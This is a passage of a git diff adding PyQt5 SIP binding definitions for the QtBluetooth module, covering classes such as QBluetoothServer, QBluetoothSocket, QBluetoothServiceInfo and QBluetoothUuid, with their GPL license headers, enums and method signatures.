sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum Error + { + NoError, + UnknownError, + PoweredOffError, + InputOutputError, + ServiceAlreadyRegisteredError, + UnsupportedProtocolError, + }; + + QBluetoothServer(QBluetoothServiceInfo::Protocol serverType, QObject *parent /TransferThis/ = 0); + virtual ~QBluetoothServer(); + void close() /ReleaseGIL/; + bool listen(const QBluetoothAddress &address = QBluetoothAddress(), quint16 port = 0) /ReleaseGIL/; + QBluetoothServiceInfo listen(const QBluetoothUuid &uuid, const QString &serviceName = QString()) /ReleaseGIL/; + bool isListening() const; + void setMaxPendingConnections(int numConnections); + int maxPendingConnections() const; + bool hasPendingConnections() const; + QBluetoothSocket *nextPendingConnection() /Factory/; + QBluetoothAddress serverAddress() const; + quint16 serverPort() const; + void setSecurityFlags(QBluetooth::SecurityFlags security); + QBluetooth::SecurityFlags securityFlags() const; + QBluetoothServiceInfo::Protocol serverType() const; + QBluetoothServer::Error error() const; + +signals: + void newConnection(); + void error(QBluetoothServer::Error); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothservicediscoveryagent.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothservicediscoveryagent.sip new file mode 100644 index 00000000..a54e89f0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothservicediscoveryagent.sip @@ -0,0 +1,79 @@ +// qbluetoothservicediscoveryagent.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothServiceDiscoveryAgent : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + InputOutputError, + PoweredOffError, +%If (Qt_5_3_0 -) + InvalidBluetoothAdapterError, +%End + UnknownError, + }; + + enum DiscoveryMode + { + MinimalDiscovery, + FullDiscovery, + }; + +%If (Qt_5_6_1 -) + explicit QBluetoothServiceDiscoveryAgent(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QBluetoothServiceDiscoveryAgent(QObject *parent /TransferThis/ = 0); +%End + QBluetoothServiceDiscoveryAgent(const QBluetoothAddress &deviceAdapter, QObject *parent /TransferThis/ = 0); + virtual ~QBluetoothServiceDiscoveryAgent(); + bool isActive() const; + QBluetoothServiceDiscoveryAgent::Error error() const; + QString errorString() const; + QList discoveredServices() const; + void setUuidFilter(const QList &uuids); + void setUuidFilter(const QBluetoothUuid &uuid); + QList uuidFilter() const; + bool setRemoteAddress(const QBluetoothAddress &address); + QBluetoothAddress remoteAddress() const; + +public slots: + void start(QBluetoothServiceDiscoveryAgent::DiscoveryMode mode = QBluetoothServiceDiscoveryAgent::MinimalDiscovery); + void stop(); + void clear(); + +signals: + void serviceDiscovered(const QBluetoothServiceInfo &info); + void finished(); + void canceled(); + void error(QBluetoothServiceDiscoveryAgent::Error error); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothserviceinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothserviceinfo.sip new file mode 100644 index 00000000..f66eedd4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothserviceinfo.sip @@ -0,0 +1,95 @@ +// qbluetoothserviceinfo.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothServiceInfo +{ +%TypeHeaderCode +#include +%End + +public: + enum AttributeId + { + ServiceRecordHandle, + ServiceClassIds, + ServiceRecordState, + ServiceId, + ProtocolDescriptorList, + BrowseGroupList, + LanguageBaseAttributeIdList, + ServiceInfoTimeToLive, + ServiceAvailability, + BluetoothProfileDescriptorList, + DocumentationUrl, + ClientExecutableUrl, + IconUrl, + AdditionalProtocolDescriptorList, + PrimaryLanguageBase, + ServiceName, + ServiceDescription, + ServiceProvider, + }; + + enum Protocol + { + UnknownProtocol, + L2capProtocol, + RfcommProtocol, + }; + + QBluetoothServiceInfo(); + QBluetoothServiceInfo(const QBluetoothServiceInfo &other); + ~QBluetoothServiceInfo(); + bool isValid() const; + bool isComplete() const; + void setDevice(const QBluetoothDeviceInfo &info); + QBluetoothDeviceInfo device() const; + QVariant attribute(quint16 attributeId) const; + QList attributes() const; + bool contains(quint16 attributeId) const; + void removeAttribute(quint16 attributeId); + QBluetoothServiceInfo::Protocol socketProtocol() const; + int protocolServiceMultiplexer() const; + int serverChannel() const; + QBluetoothServiceInfo::Sequence protocolDescriptor(QBluetoothUuid::ProtocolUuid protocol) const; + bool isRegistered() const; + bool registerService(const QBluetoothAddress &localAdapter = QBluetoothAddress()); + bool unregisterService(); + void setAttribute(quint16 attributeId, const QBluetoothUuid &value); + void setAttribute(quint16 attributeId, const QBluetoothServiceInfo::Sequence &value); + void setAttribute(quint16 attributeId, const QVariant &value); + void setServiceName(const QString &name); + QString serviceName() const; + void setServiceDescription(const QString &description); + QString serviceDescription() const; + void setServiceProvider(const QString &provider); + QString serviceProvider() const; + void setServiceAvailability(quint8 availability); + quint8 serviceAvailability() const; + void setServiceUuid(const QBluetoothUuid &uuid); + QBluetoothUuid serviceUuid() const; + QList serviceClassUuids() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothsocket.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothsocket.sip new file mode 100644 index 00000000..f42a5c1c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothsocket.sip @@ -0,0 +1,149 @@ +// qbluetoothsocket.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothSocket : QIODevice +{ +%TypeHeaderCode +#include +%End + +public: + enum SocketState + { + UnconnectedState, + ServiceLookupState, + ConnectingState, + ConnectedState, + BoundState, + ClosingState, + ListeningState, + }; + + enum SocketError + { + NoSocketError, + UnknownSocketError, + HostNotFoundError, + ServiceNotFoundError, + NetworkError, + UnsupportedProtocolError, +%If (Qt_5_3_0 -) + OperationError, +%End +%If (Qt_5_10_0 -) + RemoteHostClosedError, +%End + }; + + QBluetoothSocket(QBluetoothServiceInfo::Protocol socketType, QObject *parent /TransferThis/ = 0); +%If (Qt_5_6_1 -) + explicit QBluetoothSocket(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QBluetoothSocket(QObject *parent /TransferThis/ = 0); +%End + virtual ~QBluetoothSocket(); + void abort(); + virtual void close() /ReleaseGIL/; + virtual bool isSequential() const; + virtual qint64 bytesAvailable() const; + virtual qint64 bytesToWrite() const; + virtual bool canReadLine() const; + void connectToService(const QBluetoothServiceInfo &service, QIODevice::OpenMode mode = QIODevice::ReadWrite) /ReleaseGIL/; + void connectToService(const QBluetoothAddress &address, const QBluetoothUuid &uuid, QIODevice::OpenMode mode = QIODevice::ReadWrite) /ReleaseGIL/; + void connectToService(const QBluetoothAddress &address, quint16 port, QIODevice::OpenMode mode = QIODevice::ReadWrite) /ReleaseGIL/; + void disconnectFromService() /ReleaseGIL/; + QString localName() const; + QBluetoothAddress localAddress() const; + quint16 localPort() const; + QString peerName() const; + QBluetoothAddress peerAddress() const; + quint16 peerPort() const; + bool setSocketDescriptor(int socketDescriptor, QBluetoothServiceInfo::Protocol socketType, QBluetoothSocket::SocketState state = QBluetoothSocket::ConnectedState, QIODevice::OpenMode mode = QIODevice::ReadWrite); + int socketDescriptor() const; + QBluetoothServiceInfo::Protocol socketType() const; + QBluetoothSocket::SocketState state() const; + QBluetoothSocket::SocketError error() const; + QString errorString() const; + +signals: + void connected(); + void disconnected(); + void error(QBluetoothSocket::SocketError error); + void stateChanged(QBluetoothSocket::SocketState state); + +protected: + virtual SIP_PYOBJECT readData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxSize)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QBluetoothSocket::readData(s, a0) : sipCpp->readData(s, a0); + #else + len = sipCpp->sipProtectVirt_readData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual qint64 writeData(const char *data /Array/, qint64 maxSize /ArraySize/) /ReleaseGIL/; + void setSocketState(QBluetoothSocket::SocketState state); + void setSocketError(QBluetoothSocket::SocketError error); + void doDeviceDiscovery(const QBluetoothServiceInfo &service, QIODevice::OpenMode openMode); + +public: +%If (Qt_5_6_0 -) + void setPreferredSecurityFlags(QBluetooth::SecurityFlags flags); +%End +%If (Qt_5_6_0 -) + QBluetooth::SecurityFlags preferredSecurityFlags() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothtransfermanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothtransfermanager.sip new file mode 100644 index 00000000..4d388c85 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothtransfermanager.sip @@ -0,0 +1,40 @@ +// qbluetoothtransfermanager.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothTransferManager : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QBluetoothTransferManager(QObject *parent /TransferThis/ = 0); + virtual ~QBluetoothTransferManager(); + QBluetoothTransferReply *put(const QBluetoothTransferRequest &request, QIODevice *data) /Transfer/; + +signals: + void finished(QBluetoothTransferReply *reply); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothtransferreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothtransferreply.sip new file mode 100644 index 00000000..50690c60 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothtransferreply.sip @@ -0,0 +1,74 @@ +// qbluetoothtransferreply.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothTransferReply : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum TransferError + { + NoError, + UnknownError, + FileNotFoundError, + HostNotFoundError, + UserCanceledTransferError, +%If (Qt_5_3_0 -) + IODeviceNotReadableError, +%End +%If (Qt_5_3_0 -) + ResourceBusyError, +%End +%If (Qt_5_4_0 -) + SessionError, +%End + }; + + virtual ~QBluetoothTransferReply(); + virtual bool isFinished() const = 0; + virtual bool isRunning() const = 0; + QBluetoothTransferManager *manager() const; + virtual QBluetoothTransferReply::TransferError error() const = 0; + virtual QString errorString() const = 0; + QBluetoothTransferRequest request() const; + +public slots: + void abort(); + +signals: + void finished(QBluetoothTransferReply *); + void transferProgress(qint64 bytesTransferred, qint64 bytesTotal); +%If (Qt_5_4_0 -) + void error(QBluetoothTransferReply::TransferError lastError); +%End + +protected: + explicit QBluetoothTransferReply(QObject *parent /TransferThis/ = 0); + void setManager(QBluetoothTransferManager *manager); + void setRequest(const QBluetoothTransferRequest &request); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothtransferrequest.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothtransferrequest.sip new file mode 100644 index 00000000..1c0ecb4d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothtransferrequest.sip @@ -0,0 +1,51 @@ +// qbluetoothtransferrequest.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothTransferRequest +{ +%TypeHeaderCode +#include +%End + +public: + enum Attribute + { + DescriptionAttribute, + TimeAttribute, + TypeAttribute, + LengthAttribute, + NameAttribute, + }; + + explicit QBluetoothTransferRequest(const QBluetoothAddress &address = QBluetoothAddress()); + QBluetoothTransferRequest(const QBluetoothTransferRequest &other); + ~QBluetoothTransferRequest(); + QVariant attribute(QBluetoothTransferRequest::Attribute code, const QVariant &defaultValue = QVariant()) const; + void setAttribute(QBluetoothTransferRequest::Attribute code, const QVariant &value); + QBluetoothAddress address() const; + bool operator!=(const QBluetoothTransferRequest &other) const; + bool operator==(const QBluetoothTransferRequest &other) const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothuuid.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothuuid.sip new file mode 100644 index 00000000..14d22b94 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothuuid.sip @@ -0,0 +1,545 @@ +// qbluetoothuuid.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothUuid : QUuid +{ +%TypeHeaderCode +#include +%End + +public: + enum ProtocolUuid + { + Sdp, + Udp, + Rfcomm, + Tcp, + TcsBin, + TcsAt, + Att, + Obex, + Ip, + Ftp, + Http, + Wsp, + Bnep, + Upnp, + Hidp, + HardcopyControlChannel, + HardcopyDataChannel, + HardcopyNotification, + Avctp, + Avdtp, + Cmtp, + UdiCPlain, + McapControlChannel, + McapDataChannel, + L2cap, + }; + + enum ServiceClassUuid + { + ServiceDiscoveryServer, + BrowseGroupDescriptor, + PublicBrowseGroup, + SerialPort, + LANAccessUsingPPP, + DialupNetworking, + IrMCSync, + ObexObjectPush, + OBEXFileTransfer, + IrMCSyncCommand, + Headset, + AudioSource, + AudioSink, + AV_RemoteControlTarget, + AdvancedAudioDistribution, + AV_RemoteControl, + AV_RemoteControlController, + HeadsetAG, + PANU, + NAP, + GN, + DirectPrinting, + ReferencePrinting, + ImagingResponder, + ImagingAutomaticArchive, + ImagingReferenceObjects, + Handsfree, + HandsfreeAudioGateway, + DirectPrintingReferenceObjectsService, + ReflectedUI, + BasicPrinting, + PrintingStatus, + HumanInterfaceDeviceService, + HardcopyCableReplacement, + HCRPrint, + HCRScan, + SIMAccess, + PhonebookAccessPCE, + PhonebookAccessPSE, + PhonebookAccess, + HeadsetHS, + MessageAccessServer, + MessageNotificationServer, + MessageAccessProfile, + PnPInformation, + GenericNetworking, + GenericFileTransfer, + GenericAudio, + GenericTelephony, + VideoSource, + VideoSink, + VideoDistribution, + HDP, + HDPSource, + HDPSink, +%If (Qt_5_3_0 -) + BasicImage, +%End +%If (Qt_5_3_0 -) + GNSS, +%End +%If (Qt_5_3_0 -) + GNSSServer, +%End +%If (Qt_5_3_0 -) + Display3D, +%End +%If (Qt_5_3_0 -) + Glasses3D, +%End +%If (Qt_5_3_0 -) + Synchronization3D, +%End +%If (Qt_5_3_0 -) + MPSProfile, +%End +%If (Qt_5_3_0 -) + MPSService, +%End +%If (Qt_5_4_0 -) + GenericAccess, +%End +%If (Qt_5_4_0 -) + GenericAttribute, +%End +%If (Qt_5_4_0 -) + ImmediateAlert, +%End +%If (Qt_5_4_0 -) + LinkLoss, +%End +%If (Qt_5_4_0 -) + TxPower, +%End +%If (Qt_5_4_0 -) + CurrentTimeService, +%End +%If (Qt_5_4_0 -) + ReferenceTimeUpdateService, +%End +%If (Qt_5_4_0 -) + NextDSTChangeService, +%End +%If (Qt_5_4_0 -) + Glucose, +%End +%If (Qt_5_4_0 -) + HealthThermometer, +%End +%If (Qt_5_4_0 -) + DeviceInformation, +%End +%If (Qt_5_4_0 -) + HeartRate, +%End +%If (Qt_5_4_0 -) + PhoneAlertStatusService, +%End +%If (Qt_5_4_0 -) + BatteryService, +%End +%If (Qt_5_4_0 -) + BloodPressure, +%End +%If (Qt_5_4_0 -) + AlertNotificationService, +%End +%If (Qt_5_4_0 -) + HumanInterfaceDevice, +%End +%If (Qt_5_4_0 -) + ScanParameters, +%End +%If (Qt_5_4_0 -) + RunningSpeedAndCadence, +%End +%If (Qt_5_4_0 -) + CyclingSpeedAndCadence, +%End +%If (Qt_5_4_0 -) + CyclingPower, +%End +%If (Qt_5_4_0 -) + LocationAndNavigation, +%End +%If (Qt_5_5_0 -) + EnvironmentalSensing, +%End +%If (Qt_5_5_0 -) + BodyComposition, +%End +%If (Qt_5_5_0 -) + UserData, +%End +%If (Qt_5_5_0 -) + WeightScale, +%End +%If (Qt_5_5_0 -) + BondManagement, +%End +%If (Qt_5_5_0 -) + ContinuousGlucoseMonitoring, +%End + }; + + QBluetoothUuid(); + explicit QBluetoothUuid(quint32 uuid); + explicit QBluetoothUuid(quint128 uuid); + explicit QBluetoothUuid(const QString &uuid); + QBluetoothUuid(const QBluetoothUuid &uuid); + QBluetoothUuid(const QUuid &uuid); + ~QBluetoothUuid(); + bool operator==(const QBluetoothUuid &other) const; +%If (Qt_5_7_0 -) + bool operator!=(const QBluetoothUuid &other) const; +%End + int minimumSize() const; + quint16 toUInt16(bool *ok = 0) const; + quint32 toUInt32(bool *ok = 0) const; + quint128 toUInt128() const; +%If (Qt_5_4_0 -) + + enum CharacteristicType + { + DeviceName, + Appearance, + PeripheralPrivacyFlag, + ReconnectionAddress, + PeripheralPreferredConnectionParameters, + ServiceChanged, + AlertLevel, + TxPowerLevel, + DateTime, + DayOfWeek, + DayDateTime, + ExactTime256, + DSTOffset, + TimeZone, + LocalTimeInformation, + TimeWithDST, + TimeAccuracy, + TimeSource, + ReferenceTimeInformation, + TimeUpdateControlPoint, + TimeUpdateState, + GlucoseMeasurement, + BatteryLevel, + TemperatureMeasurement, + TemperatureType, + IntermediateTemperature, + MeasurementInterval, + BootKeyboardInputReport, + SystemID, + ModelNumberString, + SerialNumberString, + FirmwareRevisionString, + HardwareRevisionString, + SoftwareRevisionString, + ManufacturerNameString, + IEEE1107320601RegulatoryCertificationDataList, + CurrentTime, + ScanRefresh, + BootKeyboardOutputReport, + BootMouseInputReport, + GlucoseMeasurementContext, + BloodPressureMeasurement, + IntermediateCuffPressure, + HeartRateMeasurement, + BodySensorLocation, + HeartRateControlPoint, + AlertStatus, + RingerControlPoint, + RingerSetting, + AlertCategoryIDBitMask, + AlertCategoryID, + AlertNotificationControlPoint, + UnreadAlertStatus, + NewAlert, + SupportedNewAlertCategory, + SupportedUnreadAlertCategory, + BloodPressureFeature, + HIDInformation, + ReportMap, + HIDControlPoint, + Report, + ProtocolMode, + ScanIntervalWindow, + PnPID, + GlucoseFeature, + RecordAccessControlPoint, + RSCMeasurement, + RSCFeature, + SCControlPoint, + CSCMeasurement, + CSCFeature, + SensorLocation, + CyclingPowerMeasurement, + CyclingPowerVector, + CyclingPowerFeature, + CyclingPowerControlPoint, + LocationAndSpeed, + Navigation, + PositionQuality, + LNFeature, + LNControlPoint, +%If (Qt_5_5_0 -) + MagneticDeclination, +%End +%If (Qt_5_5_0 -) + Elevation, +%End +%If (Qt_5_5_0 -) + Pressure, +%End +%If (Qt_5_5_0 -) + Temperature, +%End +%If (Qt_5_5_0 -) + Humidity, +%End +%If (Qt_5_5_0 -) + TrueWindSpeed, +%End +%If (Qt_5_5_0 -) + TrueWindDirection, +%End +%If (Qt_5_5_0 -) + ApparentWindSpeed, +%End +%If (Qt_5_5_0 -) + ApparentWindDirection, +%End +%If (Qt_5_5_0 -) + GustFactor, +%End +%If (Qt_5_5_0 -) + PollenConcentration, +%End +%If (Qt_5_5_0 -) + UVIndex, +%End +%If (Qt_5_5_0 -) + Irradiance, +%End +%If (Qt_5_5_0 -) + Rainfall, +%End +%If (Qt_5_5_0 -) + WindChill, +%End +%If (Qt_5_5_0 -) + HeatIndex, +%End +%If (Qt_5_5_0 -) + DewPoint, +%End +%If (Qt_5_5_0 -) + DescriptorValueChanged, +%End +%If (Qt_5_5_0 -) + AerobicHeartRateLowerLimit, +%End +%If (Qt_5_5_0 -) + AerobicThreshold, +%End +%If (Qt_5_5_0 -) + Age, +%End +%If (Qt_5_5_0 -) + AnaerobicHeartRateLowerLimit, +%End +%If (Qt_5_5_0 -) + AnaerobicHeartRateUpperLimit, +%End +%If (Qt_5_5_0 -) + AnaerobicThreshold, +%End +%If (Qt_5_5_0 -) + AerobicHeartRateUpperLimit, +%End +%If (Qt_5_5_0 -) + DateOfBirth, +%End +%If (Qt_5_5_0 -) + DateOfThresholdAssessment, +%End +%If (Qt_5_5_0 -) + EmailAddress, +%End +%If (Qt_5_5_0 -) + FatBurnHeartRateLowerLimit, +%End +%If (Qt_5_5_0 -) + FatBurnHeartRateUpperLimit, +%End +%If (Qt_5_5_0 -) + FirstName, +%End +%If (Qt_5_5_0 -) + FiveZoneHeartRateLimits, +%End +%If (Qt_5_5_0 -) + Gender, +%End +%If (Qt_5_5_0 -) + HeartRateMax, +%End +%If (Qt_5_5_0 -) + Height, +%End +%If (Qt_5_5_0 -) + HipCircumference, +%End +%If (Qt_5_5_0 -) + LastName, +%End +%If (Qt_5_5_0 -) + MaximumRecommendedHeartRate, +%End +%If (Qt_5_5_0 -) + RestingHeartRate, +%End +%If (Qt_5_5_0 -) + SportTypeForAerobicAnaerobicThresholds, +%End +%If (Qt_5_5_0 -) + ThreeZoneHeartRateLimits, +%End +%If (Qt_5_5_0 -) + TwoZoneHeartRateLimits, +%End +%If (Qt_5_5_0 -) + VO2Max, +%End +%If (Qt_5_5_0 -) + WaistCircumference, +%End +%If (Qt_5_5_0 -) + Weight, +%End +%If (Qt_5_5_0 -) + DatabaseChangeIncrement, +%End +%If (Qt_5_5_0 -) + UserIndex, +%End +%If (Qt_5_5_0 -) + BodyCompositionFeature, +%End +%If (Qt_5_5_0 -) + BodyCompositionMeasurement, +%End +%If (Qt_5_5_0 -) + WeightMeasurement, +%End +%If (Qt_5_5_0 -) + WeightScaleFeature, +%End +%If (Qt_5_5_0 -) + UserControlPoint, +%End +%If (Qt_5_5_0 -) + MagneticFluxDensity2D, +%End +%If (Qt_5_5_0 -) + MagneticFluxDensity3D, +%End +%If (Qt_5_5_0 -) + Language, +%End +%If (Qt_5_5_0 -) + BarometricPressureTrend, +%End + }; + +%End +%If (Qt_5_4_0 -) + + enum DescriptorType + { + UnknownDescriptorType, + CharacteristicExtendedProperties, + CharacteristicUserDescription, + ClientCharacteristicConfiguration, + ServerCharacteristicConfiguration, + CharacteristicPresentationFormat, + CharacteristicAggregateFormat, + ValidRange, + ExternalReportReference, + ReportReference, +%If (Qt_5_5_0 -) + EnvironmentalSensingConfiguration, +%End +%If (Qt_5_5_0 -) + EnvironmentalSensingMeasurement, +%End +%If (Qt_5_5_0 -) + EnvironmentalSensingTriggerSetting, +%End + }; + +%End +%If (Qt_5_4_0 -) + static QString serviceClassToString(QBluetoothUuid::ServiceClassUuid uuid); +%End +%If (Qt_5_4_0 -) + static QString protocolToString(QBluetoothUuid::ProtocolUuid uuid); +%End +%If (Qt_5_4_0 -) + static QString characteristicToString(QBluetoothUuid::CharacteristicType uuid); +%End +%If (Qt_5_4_0 -) + static QString descriptorToString(QBluetoothUuid::DescriptorType uuid); +%End +}; + +%End +%If (Qt_5_12_0 -) +QDataStream &operator<<(QDataStream &s, const QBluetoothUuid &uuid /Constrained/) /ReleaseGIL/; +%End +%If (Qt_5_12_0 -) +QDataStream &operator>>(QDataStream &s, QBluetoothUuid &uuid /Constrained/) /ReleaseGIL/; +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyadvertisingdata.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyadvertisingdata.sip new file mode 100644 index 00000000..48ab5330 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyadvertisingdata.sip @@ -0,0 +1,66 @@ +// qlowenergyadvertisingdata.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_7_0 -) + +class QLowEnergyAdvertisingData +{ +%TypeHeaderCode +#include +%End + +public: + QLowEnergyAdvertisingData(); + QLowEnergyAdvertisingData(const QLowEnergyAdvertisingData &other); + ~QLowEnergyAdvertisingData(); + void setLocalName(const QString &name); + QString localName() const; + static quint16 invalidManufacturerId(); + void setManufacturerData(quint16 id, const QByteArray &data); + quint16 manufacturerId() const; + QByteArray manufacturerData() 